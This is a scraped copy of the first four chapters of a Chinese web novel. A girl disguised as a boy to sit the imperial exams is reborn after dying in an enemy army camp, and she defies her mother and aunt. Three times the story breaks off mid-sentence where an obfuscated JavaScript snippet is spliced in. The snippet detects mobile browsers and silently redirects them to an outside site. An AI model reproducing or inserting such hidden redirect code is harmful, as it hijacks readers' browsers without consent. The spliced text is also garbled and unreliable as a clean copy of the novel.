《农门贵女(科举)》 1. 001 庆元三十年,大夏与大齐开战。 大齐兵强马壮,士气高昂,不过一年便打得大夏节节败退,接连丢失十座城池。 这日,两军再度交战。 城内外尸殍遍地,随处可见夏军和大夏百姓的尸体,哭声求饶声乱成一片。 齐军杀入城门,高举守将头颅:“投降不杀,反抗者死!” 回到营中,齐军主将翻身下马,满身血腥煞气令一切牛鬼蛇神退避三让。 他放声大笑,笑声雄浑有力:“来人,去把青奴带过来,让她看一看本将军今日又斩杀了多少齐人!” “青奴?” 年轻士卒今年刚从军,还未完全熟悉营中的一切,好奇地四处张望,一道身影映入眼帘。 看不清面容的女子身着灰色长衫,一路被士卒推搡着,跌跌撞撞从远处走来。 她低着头,及腰长发呈现干枯的灰白色,其间还夹杂着沙砾和草屑,风一吹,长衫飘曳,嶙峋身躯看起来只剩一把骨头。 年轻士卒猜她一定住在马厩或羊圈里,当然也有可能是更差的地方。 “别磨蹭,快走!” 士卒又推了女子一把,她摔倒,动作间铁链碰撞声清脆悦耳。 年轻士卒瞪大眼,她的手脚居然缚着铁链! 终究是好奇心胜过一切,他问旁边的千夫长:“她是谁?为何在军营里?” 大齐军规严明,营中不得有女子,违者按军规处置。 年长士卒从军二十载,人送外号万事通,就没有他不知道的事情,闻言得意捻须:“她啊,她是大夏的杜少卿。” “杜少卿?”年轻士卒愣住,“少卿不是个官职吗?可她分明是个女子。” 千夫长目光悠远,似乎在回忆往昔:“没错,她就是大夏的鸿胪寺少卿。” 年轻士卒意识到什么,旋即大惊:“她扮作男子参加科举?” 千夫长点头,年轻士卒咂舌:“胆子也太大了,她难道不怕死吗?” “是很大胆,我活了这么多年,从未见过如此离经叛道之人。”千夫长擦拭盔甲上的血,“女子生来就该生儿育女,相夫教子,若天下所有女子都如她这般,岂不乱了套?” 年轻士卒追随青奴离去的方向,早已不见踪影。 他觉得千夫长说的没错,可又莫名想要继续追问下去:“她既然是大夏官员,如今为何又恢复女子之身?为何又来到大齐?” 齐军打了胜仗,不出意外的话,千夫长的军职可以再往上走一走,他心情好,乐得和后辈多说几句:“这要从十一年前说起。” 那一年,齐使访夏,庆贺大夏庆元帝的寿辰。 彼时他们的主将伍大将军还是一名小将,奉旨护送齐使前往大夏。千夫长因身手敏捷,幸运地被选中,得以一同前往。 宫宴上,伍大将军醉酒失仪,轻薄了一名宫女,恰好被杜少卿逮个正着,双方起了些争执。 一晃过去十年,大齐和大夏摩擦不断,终于在去年正式开战。 伍大将军早已不是当年的无名小将,杜少卿也不再是鸿胪寺少卿。 她被人发现了女子身份,革除官职,成为大夏皇子的侧妃。 不知谁提了一嘴,谈及当年之事,贪生怕死的皇子立刻将杜少卿送来齐营,只为讨好伍大将军,为大夏争取片刻的喘息。 从此以后,风度翩翩的少卿大人成为齐营中最下等的仆婢,与牛羊同眠,受尽欺辱,被生生折断傲骨,成为一具行尸走肉。 “滚!给本将军滚出去!” “你一个阶下囚,大夏的弃子,哪来的胆子跟本将军动手?” “来人!” 主帐中传出伍大将军暴怒的声音,守在外面的士卒进入帐中,很快架着青奴出来。 青奴的右手无力垂落,显然已被折断,她不作挣扎,任由士卒架着她走向伍大将军的战马。 青奴被随意扔在泥地里,士卒取来一根麻绳,一端系在战马的后蹄上,另一端则是她的手腕。 士卒一声呼哨,战马飞驰,青奴也飞了出去。 她就这么被绑在马后,在营中拖行一圈又一圈。 无人救她,反而一个个激动地拍手叫好。 他们都喜欢看原本高高在上的人跌落泥潭,露出狼狈不堪任人践踏的一面。 “行了,教训得差不多了,送回去吧。” 年轻士卒看向下令的伍大将军,他脸上多出一道伤口,皮肉翻卷,深可见骨。 是谁动的手不言而喻。 士卒又打了一声呼哨,示意战马停下。 战马嘶鸣,逐渐减速的那一瞬,麻绳突然断开。 青奴飞了出去,像一片枯叶,一只断了线的风筝,被抛到高处,重重摔落。 青奴摔在正对着年轻士卒的地方,这是他第一次看清她的脸。 美好而又沧桑。 美好是她的皮囊,沧桑是她皮下的灵魂。 那张精致美好的皮囊以肉眼可见的速度灰败下去,青奴大口大口地吐出鲜血,晕开刺目骇人的红色。 年轻士卒知道她一定很疼,可是她在笑。 一边笑一边落泪,释然和快意在她眼中蔓延。 “真......好......” “终于......可以......结束了。” 青奴艰难吐息,涣散的瞳孔正对一碧如洗的天。 她许久没见到这样好的天气了,让她想到夏京,想到桃源村,那里的天也是这样碧蓝。 人在弥留之际,通常会走马灯般回顾自己的一生。 青奴也是如此。 不,她不是青奴。 她是杜青棠。 大夏保定府清苑县桃源村的杜青棠。 是庆元十八年的进士。 是扬州府通判。 是鸿胪寺少卿。 她是杜青棠! 不是什么青奴,更不是什么皇子侧妃! ...... 杜青棠生在大夏,是保定府清苑县人士。 永平二十八年,清苑县县令征召百姓挖凿河渠,杜青棠的父亲身为杜家大房唯一的男丁,责无旁贷。 然而县令不仁,勒令百姓没日没夜地干活,还克扣他们的饭食。 杜青棠的父亲又累又饿,精神恍惚,不慎失足摔死。 噩耗传来,母亲元氏大恸之下动了胎气,苦苦挣扎一天一夜才诞下一名女婴。 为了不让杜家大房被吃绝户,元氏对外称自己诞下一名男婴。 从此,她成了他,杜青棠成为杜家大房的“独苗苗”。 年少时的杜青棠虽是女子,虽是微末蝼蚁,却有鸿鹄之志,憧憬朝为田舍郎,暮登天子堂,梦想着通过科举改变命运。 男子可以读书考科举,我为何不能? 女子本不该低人一等,她们柔软的皮下是强大的灵魂,有着超乎寻常的毅力与韧劲,是读书和做官的最佳人选! 怀着惊世骇俗的想法,杜青棠寒窗苦读十数载,过五关斩六将,终于高中进士。 一朝荣归故里,元氏却以死相逼,让她辞官嫁给院试落榜的表哥,给杜家传宗接代。 杜青棠不愿放弃仕途,便拒绝了元氏的要求,谁知表哥恼羞成怒,竟然向官府揭穿了她的身份。 县令将此事上报京中,庆元帝为以儆效尤,下旨革除她的功名,将她凌迟处死。 让杜青棠没想到的是,她死后竟然重生了。 第二世,她先下手为强,从外面抱回一名弃婴,对元氏谎称他是自己的孩子。 杜家后继有人,元氏不再逼迫杜青棠和表哥成亲,她顺利入朝为官,迈出了实现理想的一大步。 外放期间,杜青棠与上峰一同落入贼窝,重伤昏迷后被上峰发现女子身份。 上峰垂涎杜青棠的容貌,设计她假死,将她囚禁在别院,强迫她成为他的外室。 杜青棠假意顺从,实则伺机逃跑。 她计算好上峰外出办事的时间,制定完善的逃跑路线,只要逃离这里,她有绝对的信心让上峰找不到她。 谁料逃跑前夕,上峰的表妹打上门来,灌了杜青棠一瓶见血封喉的毒药,她就这样不明不白地死了。 杜青棠死后,又一次重生了。 这一世,杜青棠谨小慎微,处处防备,死守身份秘密,可还是被当朝皇子识破女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899150|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份,强取豪夺纳入王府,成为皇子侧妃。 杜青棠认命了,她决定摆烂,就这么凑合过日子。 除了认命,她又能怎样? 活着至少还有一线生机,杜青棠盼着有朝一日,她能离开这里,重获自由。 可惜天有不测风云,庆元三十年,大夏与大齐开战,皇子将她当做礼物送给曾经结下恩怨的大齐将领。 杜青棠不知道她是怎么熬过这一年的,到如今,任何的折辱都无法让她掀起波澜,包括被绑在战马后面拖行。 周遭一片嘈杂,有人嘶吼着,让大夫医治她。 “不......要......” 杜青棠的声音几不可闻,除了一直关注她的年轻士卒,没人听得到。 “混账!没用的东西!” “杜青棠,你若是敢死,本将军会立刻灭了大夏!” 杜青棠眼皮沉甸甸的,顺从心意闭上眼。 随便吧。 她一将死之人,如何管得了身后之事? 就在这时,走马灯戛然而止,大量陌生而又熟悉的记忆涌入脑海,撑得杜青棠大脑快要爆开。 奇异壮观的画面逐帧闪过,她看到高耸入云的摩天大楼,上面镶嵌着一尘不染的玻璃,看到华灯初上车水马龙,尽显都市繁华,还看到面容稚嫩的男孩女孩坐在窗明几净的教室里,捧着散发油墨香气的课本放声朗读。 在这里,无论男女皆可读书,亦可经商为官。 杜青棠神情怔然,似哭似笑:“原来如此!原来如此!” 她不仅是大夏的杜青棠,还是华夏21世纪媒体争相报道的天才少女,最年轻的中科院院士! 她死于一场有预谋的意外,死后胎穿到大夏,因为元氏难产,元氏腹中的她受到影响,不幸失去了现代的记忆。 杜青棠猝然睁开眼,眼底水光流转,细看仅有一片死寂的干涸,不见一丝泪光。 年轻士卒攥紧双拳,他从未如此清晰地感受到,一条生命在他眼前流逝。 杜青棠忍着骨骼断裂,内脏出血的剧痛,缓慢调整姿势,整理杂乱的长发,清理面颊上的草屑和鲜血,然后双手合于腹前,天为盖地为铺,安详地闭上眼。 穿越异世,轮回四世,百余年好似大梦一场,到最后除了一场悲剧,她什么也没得到。 被迫扮作男子,终日提心吊胆,唯恐身份暴露,性命不保。 渴望青云直上,位极人臣,却因为三个人渣无法实现抱负,次次不得善终。 母亲元氏也完全不懂得体谅她女扮男装科举、为官的艰辛和如履薄冰,打着所谓“传宗接代”的荒唐理由,将她逼上绝路。 任凭她再如何挣扎反抗,结局仍是枉然。 这三世,像是上天随意开的一个玩笑,代价是她杜青棠的性命。 意识越发稀薄,好似一只大手用力拽着她,誓要将她拉下地狱。 地狱就地狱吧,总归是死了的。 若是可以,她不愿再有来生,不愿继续那已知必死结局的可笑人生。 伍大将军仍在咆哮,年轻士卒看着青奴的双手滑下,落在枯草上。 他睁大眼,见证一颗耀眼星辰的陨落。 ...... 杜青棠意识回笼,失重感袭来,尽管在第一时间调整姿势,还是失控地从高处摔落。 泥水飞溅,惊得枝头栖息的鸟雀扑棱棱飞走。 杜青棠身体猛地僵住,顾不上伤势,飞快触碰鼻下、颈侧、胸口和手腕内侧。 温热的呼吸,急促有力的脉搏和心跳无一不昭示着她还活着,说不清是幸运还是不幸。 杜青棠犹如惊弓之鸟,身体紧绷成一张弓,眼里的脆弱一碰即碎,飞快环视四周。 正值深夜时分,周遭漆黑不见五指,远处的村落像一只黑色巨兽,安静蛰伏。 多么熟悉的地方。 杜青棠垂眸,细瘦手指覆有薄茧,凑近了可以看到手背上有一粒小痣。 多么熟悉的一双手。 这些信息无一不在告诉她,她又重生了,重生回十二岁这年。 一切还未发生,她只是保定府桃源村的一名农家子。 2. 002 杜青棠枯坐许久,直到双腿麻木才起身,跌跌撞撞爬上田埂。 今年是庆元十年,她在李家私塾读书的第二个年头。 私塾每逢月底休沐两日,下午放课后动身回村,这会儿还在路上。 途径麦田时,杜青棠重生回来,死亡的窒息感仍然裹挟着她,令她脚下一软,失足摔下田埂。 粗布缝制的袄子浸满泥水,脏兮兮湿漉漉,好在她只是手掌擦破一点皮,并无大碍。 整理衣着时,指腹不经意间划过衣襟内侧,熟悉的触感让她一怔。 低头看去,编织绳绕过脖颈,一枚翡翠吊坠垂在锁骨以下。 这是杜青棠满月那天,爷爷亲手打磨制作的满月礼,价值不菲。 杜青棠戴了二十多年,从未离身,绝不会认错。 她想起在21世纪看过的小说,穿越文女主大多必备金手指,系统、灵泉、红包群......种类多样,应有尽有。 其中有一类,金手指附着在女主穿越前随身携带的物品上,譬如玉佩,譬如戒指。 杜青棠若有所思:“会是金手指么?” 话音刚落,玉坠闪过青色流光。 杜青棠摸着突然出现的喉结,沉吟片刻,试探性取下玉坠,喉结立刻消失,胸部也恢复成原本的弧度。 初步判断,这枚玉坠的作用是隐藏女性体征,并伪造男性部分体征,具体表现在喉结和胸部,其他地方目前并未发生变化。 这让杜青棠松了口气,紧握玉坠喃喃道:“你要是早些来就好了。” 有了它,第一世便可以梦想成真。 不过有总比没有好。 女扮男装本就风险重重,有玉坠替她打掩护,任凭她那表哥有一百张嘴,也无法揭穿她的身份。 杜青棠仰头,看向沉沉夜幕。 她父母早逝,只剩爷爷这个亲人,祖孙二人感情深厚。 博士毕业那年,爷爷病逝,她在那个世界便再无牵挂。 穿越异世,摔得头破血流,这是爷爷留给她最好的礼物,也是诸多不幸中唯一的慰藉。 - 杜家在清苑县十里外的桃源村,背靠桃源山,村前绕着溪流,依山傍水,风景宜人。 杜青棠走到村口,侧方小径走出两人,背着比人高的木柴,有说有笑。 “呦,这不是棠哥儿?是从城里回来?” 杜青棠迟疑了下才认出来人:“嗯,包叔和陈叔是去山里捡柴?” “天冷了,捡点回去烧炕用,还能卖几个钱。” “诶,棠哥儿,陈叔有事问你。” 杜青棠:“您说。” “我好几次看到你表哥跟一个姑娘走在一起。”陈叔挤眉弄眼,“棠哥儿啊,你舅母是不是打算给你表哥议亲了?” 包叔打趣:“看来棠哥儿你很快就要有表嫂喽。” 杜青棠:“......我许久没去舅母家,不清楚。” 陈叔遗憾作罢:“不知道就算了,赶紧回去吧,别让你娘你姐挂心。” 杜青棠颔首示意,越过两人往家走去。 陈叔包叔在她身后,压低声音说话。 包叔:“元盛书读得好,肯定不是普通人家的姑娘。” 陈叔:“可正经人家的姑娘怎么会跟元盛夜间私会?这也太不像话了!” 包叔:“隔壁村的黄童生说元盛一定能考上童生,说不准还能更进一步,去京城做大官。只要能成为官夫人,夜间私会又算得了什么。” 陈叔:“也是,咱们这些地里刨食的哪里比得上官老爷。” 包叔:“你若实在好奇,我给你出个主意。棠哥儿从城里回来,想必元盛也回来了,到时候你就躲在元家附近,定能有所收获。” 陈叔:“好主意!” 杜青棠眸光微暗,将两人的盘算抛诸脑后,停在三间并排而立的黄泥房前。 这里是杜家,从西到东依次是杜青棠的房间,元氏母女的房间和灶房。 灶房点着灯,杜青棠推开门,看到一张妇人脸庞。 蜡黄瘦削,眼角额头遍布细纹,枯白的头发写满沧桑。 年过四十的妇人,瞧着像是五六十岁。 “棠哥儿回来了?” 杜青棠有些恍惚,她多久没见元氏了? 五年还是十年? 这时,耳畔响起咄咄质问声:“怎么这么晚才回来?袄子上全是泥巴,难不成在地里滚了一圈?” 杜青棠这才发现,元氏身后还有一人。 肤色黝黑,腰宽膀圆,抵得上两个元氏,一脸尖酸刻薄,正是舅母朱氏。 杜青棠眯眸,没有回话。 灶房的空气陷入凝滞,元氏忙站出来打圆场:“我们也是担心你,万一摔出个什么好歹,人遭罪不说,去不了私塾还要花钱买药。” 杜青棠蜷起手指,指腹碾过伤口,刺痛让她清醒:“不过摔了一跤,蹭破点皮,过两日就结痂了。” 刚死了一回,杜青棠身心疲惫头痛欲裂,不想跟她们多说废话,正要离开,朱氏塞给她一叠粉色布料,语气不容置喙:“明晚穿上它来我家。” 是时下女子最爱的短衫长裙。 元盛每次从县城回来,朱氏都会送来各式各样的衣裙,让杜青棠穿上这些衣裙,去元家陪元盛读书,直到下半夜才放她离开。 元盛比杜青棠大了整整六岁,虽然什么也没做,但不影响她怀疑他是个有恋.童.癖.好的变.态。 杜青棠手腕一转,短衫长裙飘然落地,沙哑嗓音穿透昏黄烛光,抵达两人耳中。 “我不要。” 朱氏以为她听错了:“你说什么?” 杜青棠:“我说,我不要。” “我不会穿它。” “明晚也不会去你家。” 朱氏和元氏怔住。 在她们的印象中,杜青棠性情沉闷,毫无主见,让她往东绝不往西,让她打狗绝不撵鸡。 这是杜青棠第一次说“不”,也是第一次丢了朱氏送来的衣裙。 朱氏最先反应过来,目露凶光:“死丫头,谁给你的胆子说不要?” 元氏泪眼朦胧地看杜青棠:“我们也是为你好,你跟盛哥儿多处处,彼此感情深厚,成亲后才能早日为两家诞下男丁。” 杜青棠:“......” 如果是觉醒之前,她一定会在元氏的哭求下去元家,然后被守株待兔的陈叔堵个正着,女扮男装的秘密在暴露边缘徘徊。 这并非杜青棠的假想,而是曾经真正发生过的事实。 第一世,陈叔发现她穿女装,隔日杜家独苗苗和元盛搞断袖的消息在桃源村传得沸沸扬扬,还有人说杜青棠其实是女子,扮作男子是为了守住大房财产。 杜家二房、三房闻着味儿打上门,让元氏给他们一个说法。 朱氏给元氏“出谋划策”,让她把最像杜青棠的女儿推出去,表示和元盛私会的人是她,杜青棠的身份危机才算解除。 可即便如此,村里有关于她是男是女的争论仍然喧嚣尘上,这也成为后来她犯欺君之罪的一大佐证。 ...... 朱氏不知杜青棠心中所想,心疼地捡起衣裙:“这身裙子可是花了二钱银子,要是摔坏了,看我不扒你一层皮!” 元氏惊呼:“二钱?” 朱氏得意洋洋:“没错,二钱。” 二钱银子又如何? 这些银子都是元氏和杜家的姑娘们一个铜板一个铜板挣的,却被元氏以接济兄弟的名义,一个子儿不剩地送出去。 朱氏和元平心安理得地收下银子,有时送得晚了,朱氏还会上门讨要。 明明是杜家的钱,却要看元家人的脸色,连杜青棠的束脩都是元家“借”给她的。 真是好大一张脸! 杜青棠捏紧拳头,生怕自己一个没忍住,将元氏锤进黄泥墙里,抠都抠不下来:“我回来的路上遇到陈叔,他看到我穿裙子去见表哥了。” 元氏脸色巨变:“他知道是你了?” 朱氏没有说话,她在想如果姓陈的老家伙发现杜青棠是女子,该如何将他糊弄过去。 杜八丫与杜青棠年岁相仿,容貌也有几分相像,是个不错的人选。 “那倒没有,只是如果继续见面,未尝没有可能。”杜青棠话锋一转,“你们让我读书,可是为了让我科举入仕?” 朱氏不假思索: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899151|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是自然。” 其实像杜青棠这样整日混在男人堆里的,给盛哥儿提鞋也不配。 只是杜青棠自幼扮作男儿,她有先天优势,可以读书,也可以做官。 独木难支的道理谁都懂,比起盛哥儿单打独斗,不如让杜青棠做那马前卒,盛哥儿只管在后头捡功劳。 朱氏不怕杜青棠做官之后翻脸不认人,她若不认,就告她一个欺君之罪! “隐瞒女子之身,扮作男子参加科举是欺君大罪,是要被砍头的。” 朱氏一愣,死丫头莫不是她肚里的蛔虫,怎么连她想什么都知道? 元氏满脸惊恐:“那咱们不读书了?” 杜青棠神色狠戾:“我若获罪入狱,定会拉着娘、舅舅舅母还有表哥一起死。” 朱氏呼吸一滞:“你敢!” 杜青棠震声:“你看我敢不敢!” 她死了这么多次,早已无所畏惧! 朱氏被杜青棠豁出去的眼神看得哆嗦了下,终究还是怕了:“这次就算了,等他消去疑心再说。” 她还要长命百岁,等盛哥儿考状元当大官,接她去京城荣养呢。 朱氏说完就溜了,杜青棠目送她离开,思绪翻涌。 女扮男装本就不为世俗所容,一旦暴露,将顷刻毙命。 只有死人才能永远保守秘密,元家害她至深,合该以命偿命。 “棠姐儿,你怎么能这么跟你舅母说话?万一盛哥儿迁怒,另娶他人该如何是好?” 元氏急得像热锅上的蚂蚁,在灶房里来回走动,不时向杜青棠投去责怪的目光。 杜青棠被她晃得头晕,问出她很久之前就想问的话:“女子存在的意义难道只是嫁人生子吗?” 元氏理所当然道:“当然......” “当然不是!”杜青棠矢口否认,眼底深处有什么在燃烧。 女性的价值从来都不是成为某个人的妻子,成为某个人的母亲。 可惜元氏从来不懂她,满脑子都是传宗接代。 元氏被杜青棠眼里的火焰灼伤,接连后退好几步:“夜深了,棠姐儿早些睡。” 杜青棠知道短时间内无法改变元氏根深蒂固的观念,不再多言。 走进阔别多年的小屋,屋内仅有一条炕,一张桌和一只矮柜。 炕上是叠得整齐的被褥,桌上是手抄版四书,杜青棠看着书,手指神经质地痉挛两下,移开视线。 洗漱后躺到炕上,杜青棠想到桌上的书,扪心自问,她是否要继续读书。 努力了三次,每次都中途折戟,真的值得吗? 周遭一片死寂,没人能给她答案,她也说不清该如何抉择。 ...... 杜青棠心乱如麻,辗转反侧,连自己什么时候睡着都不知道。 她做了一整夜的梦,梦境杂乱,醒来后什么也没记住。 睁开眼,天色大亮。 杜青棠穿戴完毕打开门,四个面黄肌瘦的年轻姑娘围在灶房的饭桌前,其中一人正向她招手。 “棠哥儿,快来吃饭。” 桃源村有上百户人家,原住户甚少,大多是早年间从各地逃难来的百姓,经过数代繁衍生息,发展到如今的数百人。 杜青棠的祖父有五个兄弟、三个姊妹,又和祖母养育三子二女。 杜青棠出生之前,元氏嫁到杜家已有十四年。 在这期间,她的肚子几乎没停下来过,十四年生了八个,其中老二老三和老五老六是双胞胎。 加上杜青棠就是九个。 杜青棠坚信,如果杜老大还活着,他们一定会继续生,直到生出儿子。 看着糟糕的原生家庭,杜青棠深埋心底的星火越烧越旺,越烧越旺,终成燎原之势。 这一刻,杜青棠突然有了决断。 人生如蝼蚁,微弱渺茫,她却不愿按照元氏的想法生儿育女,相夫教子。 我要读书。 我要考科举。 我要手握权势,一人之下万人之上。 世人皆道女子不如男,那就由我做这个先锋,开辟出一条前无古人后无来者的道路。 虽千万人吾往矣,九死而不悔! 3. 003 “棠哥儿傻站在那作甚?快过来吃饭。” 杜青棠深吸一口气,走进灶房,不着痕迹地打量。 杜家给女孩儿取名十分敷衍,杜大丫,杜二丫......一直到杜八丫。 杜青棠的名字是杜老大花钱请村里刘童生取的,要不是他仓促离世,杜青棠多半和她的姐姐们一样,成为杜九丫。 杜家姐妹九人,老大到老四已经出嫁,坐在杜青棠对面的是杜五丫和杜六丫,两人是双胞胎,一个模子刻出来的,明显是活泼性子,正笑眯眯看着她,其中一个还在桌上打拍子,哼唱不知名的曲调。 杜青棠左手边是杜七丫,右手边则是杜八丫。 一个随了元氏的圆脸,虽肤色蜡黄,却是个实打实的美人坯子,一双杏仁眼滴溜溜转个不停,一看就是个机灵的。 另一个是鹅蛋脸,五官秀美,低眉顺目地吃着菜饼。 第一世正是杜八丫做了自己的替死鬼,落得名声尽毁,跳河自尽的下场。 “大清早叽叽咕咕吵死人,赶紧吃饭!”元氏将半碗咸菜放到菜饼旁边,“砰”一声响。 杜青棠眼皮都没抬一下,慢条斯理地搅动碗里的粥。 觉醒后的第一顿饭十分简陋,每人各一块菜饼,佐以半碗咸菜、半碗粥——米汤清澈见底,碗底仅有几粒米的那种。 杜六丫停下哼唱,抓起菜饼往嘴里塞,被元氏用筷子敲了手。 “啊!”手指火辣辣的疼,杜六丫顿时红了眼眶,“娘,你打我做什么?” 元氏没好气地说:“抢什么?我又没少你一口吃的,真是没规矩!” 杜七丫托腮:“是啊六姐,娘又没少你一口饭,那么着急做什么?” 昨夜被朱氏和杜青棠挤兑,元氏委屈得翻来覆去睡不着,听到这话很是熨帖:“还是七丫懂事......” 谁料杜七丫话头一转:“顶多是把银子都送去了舅舅家,咱们几个累死累活挣钱,还要看旁人脸色罢了。” “杜七丫!”元氏摔筷子,“那是你舅舅!你舅舅自小身子不好,做不了重活,我是他姐,难道不该多关照他?” 杜七丫白眼翻上天:“舅舅除了吃就是睡,肚子都快跟莲花她娘的肚子一样大了,当然做不了重活......” 莲花她娘已有八月身孕,临盆在即。 “住口!”元氏拍桌,扬起手作势要教训杜七丫。 杜七丫歪头闪避,吧唧吧唧吃饼,米汤喝得哧溜响。 元氏却不打算就此作罢,絮絮叨叨说些有的没的,埋怨杜七丫不孝顺,诉说元平的不易:“你舅舅身子弱,不仅要供盛哥儿读书,还要供棠哥儿......” 杜青棠抬眸:“娘。” 元氏对上她毫无温度的眼,一阵心悸,讪讪闭上嘴。 杜青棠无视杜七丫赞许的眼神,自顾自吃饼喝汤。 被杜青棠在女儿面前下了面子,元氏食不知味地吃完饭,去外面搓草绳,临走前不忘叮嘱:“今天把绣品送去城里,再买半斤肉。” 杜老大仓促离世,留下大房十个女子,其中的艰辛可想而知。 除了种地,平日里几个姑娘还要做绣品、木雕、蓑衣之类的手艺活儿,送去县城售卖。 当然,挣的钱都进了元家的口袋。 “那肉肯定不是给咱们买的。”杜七丫的筷子把碗底戳得咣咣响,被杜五丫敲了脑袋才作罢。 杜八丫轻声细语:“七姐你别说了,当心娘听见又生气。” 杜七丫叉腰:“我才不管娘生不生气,我就要说!娘就是偏心,她眼里只有舅舅,根本不管咱们的死活!” 元氏是挺复杂的一个人,思想封建,窝里横,自私自利......许多贬义词都能在她身上得到体现。 朱氏态度强硬,脾气火爆,元氏就对她低声下气,百般讨好。 杜青棠拒绝穿上衣裙,当场放狠话,元氏便对她生出畏惧——方才杜青棠出声喝止,元氏虽不满,还是老老实实闭嘴。 另一方面,她又将自己的负面情绪发泄到几个女儿的身上,包括但不限于口头训斥和动手体罚。 有这种母亲,真是杜家姑娘的不幸。 “五姐,你何时出发?”杜青棠放下碗,“我和你一起。” 杜五丫道:“马上就走。” 出门前,元氏叫住杜青棠:“棠姐儿,我想了一晚上,还是你做错了。” “你舅母回去肯定会跟盛哥儿告状,盛哥儿是两家唯一的顶梁柱,你的后半生还要指望他,千万不能给他留下任何坏印象。” “你现在就跟娘去元家,给你舅母道歉......” 杜青棠打断她:“闭嘴。” 元氏一愣:“什么?” 杜青棠语气不耐:“不会说话就别说话,你说的这些我不爱听,以后不要再说了。” 元氏霎时间红了眼,捶胸顿足,满脸的伤心欲绝:“她爹啊,你快看看这个不孝女,她这是要气死我啊!” “棠哥儿,走了。”杜五丫在不远处吆喝。 杜青棠绕过元氏:“来了。” 走出一段路,杜五丫问:“娘怎么了?” “没什么,就是想爹了,哭两嗓子。”杜青棠没给杜五丫追问的机会,“五姐,回头卖了绣品,记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899152|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得把银子给我。” 杜五丫不明所以:“给你作甚?可是要买书?” 杜青棠:“银子在我手里,娘不敢强要过去。”也就不会落入元家人的兜里了。 杜五丫有些意动,杜青棠趁热打铁:“咱们手里有了银子,就不必再看元家的脸色。不但我读书有钱,也能改善一下家里的饭食,五姐你太瘦了,得吃点好的补补身子。” “那......那好吧。”杜五丫彻底倒戈,抬手摸摸杜青棠的头发,笑得眼睛弯弯,“棠哥儿长大了,知道心疼姐姐了。” 两人一路疾行,一个时辰后入城,约定好在何时何地碰面,便各奔东西。 杜青棠来到她以前读书的私塾,前去拜访私塾唯一的教书先生。 ...... “你要离开私塾?”李先生得知杜青棠的诉求,很是诧异,“好端端的为何要离开私塾?可是出了什么事?” 杜青棠轻声道:“家中拮据,无力供给学生继续读书。” 李先生眉头紧皱,半晌后叹口气:“罢了,你且去吧,六月交的束脩为师也退还给你。” 杜青棠拱手:“多谢先生。” 私塾一年的束脩为五两银子,眼下正值十月下旬,一年还未过半,李先生退还给她三两银子。 “下个月清苑书院对外招考,前五名可获得文房四宝一套,还可免去束脩,你若志在读书,可以去试一试。” 清苑书院,顾名思义,位于清苑县的书院。 它是享誉全国的书院之一,山长是先帝时期的大.三.元姚玄。 姚玄此人少年成名,明明有机会入朝为官,位极人臣,却毅然决然回到家乡,成为清苑书院的一名教谕,迄今已有三十二载。 后来庆元帝登基,因姚玄广受天下读书人的尊崇爱戴,命其为清苑书院的山长。 书院除了姚玄,还有许多名声在外的教授、教谕,引得各地读书人慕名而来。 有关清苑书院的信息浮现脑海,杜青棠再次道谢:“多谢先生告知,学生愿意一试。” 其实她不是因为家中拮据才离开,而是回忆前世,发现这位李先生温吞如水的教学方式不适合自己。 而且她需要钱去做一件事情。 离开私塾,杜青棠漫无目的地走在街头。 街道两旁是古色古香的房屋,商铺林立,酒旗飘扬,叫卖声抑扬顿挫,人声鼎沸,热闹非凡。 街角的窝棚里躺着一对蓬头垢面、衣衫褴褛的男女,饱经风霜的模样像是从外地逃难而来。 杜青棠用布巾遮住面容,上前道:“我想和你们谈一桩交易。” 4. 004 杜青棠办完事,和杜五丫在约定地点碰面。 “喏,这是锦衣阁掌柜给我的,棠哥儿你收好。”杜五丫将装铜钱的荷包交出去,“足足一钱银子呢。” 杜青棠接过荷包,拉着杜五丫走进糕点铺。 杜五丫大惊:“棠哥儿你这是作甚?这里头的糕点贵得很,吃不得......” “只买五块。”一人一块,元氏胳膊肘往外拐,不配吃,“银子是你们挣的,为何吃不得?” 杜五丫劝说无效,只能眼睁睁看着掌柜用油纸包好五块枣泥酥,放到杜青棠手上:“客官拿好,您慢走!” 徒步回到桃源村,元氏见姐妹二人回来,立马放下手里的活儿迎上来,发现竹篓里空空如也,顿时沉下脸:“钱呢?肉呢?” 杜五丫绞着手指,不知该怎么说,下意识看向杜青棠。 “钱在我这里,没买肉。”杜青棠招呼灶房里忙活的三个姑娘,“六姐七姐八姐,给你们买了枣泥酥。” 元氏气急败坏:“五丫你个死丫头,我让你买肉,你跑去买枣泥酥,看我不打死你......” 杜青棠拦住她,沉声警告:“适可而止。” 元氏气得说不出话,捂着脸哭哭啼啼跑了。 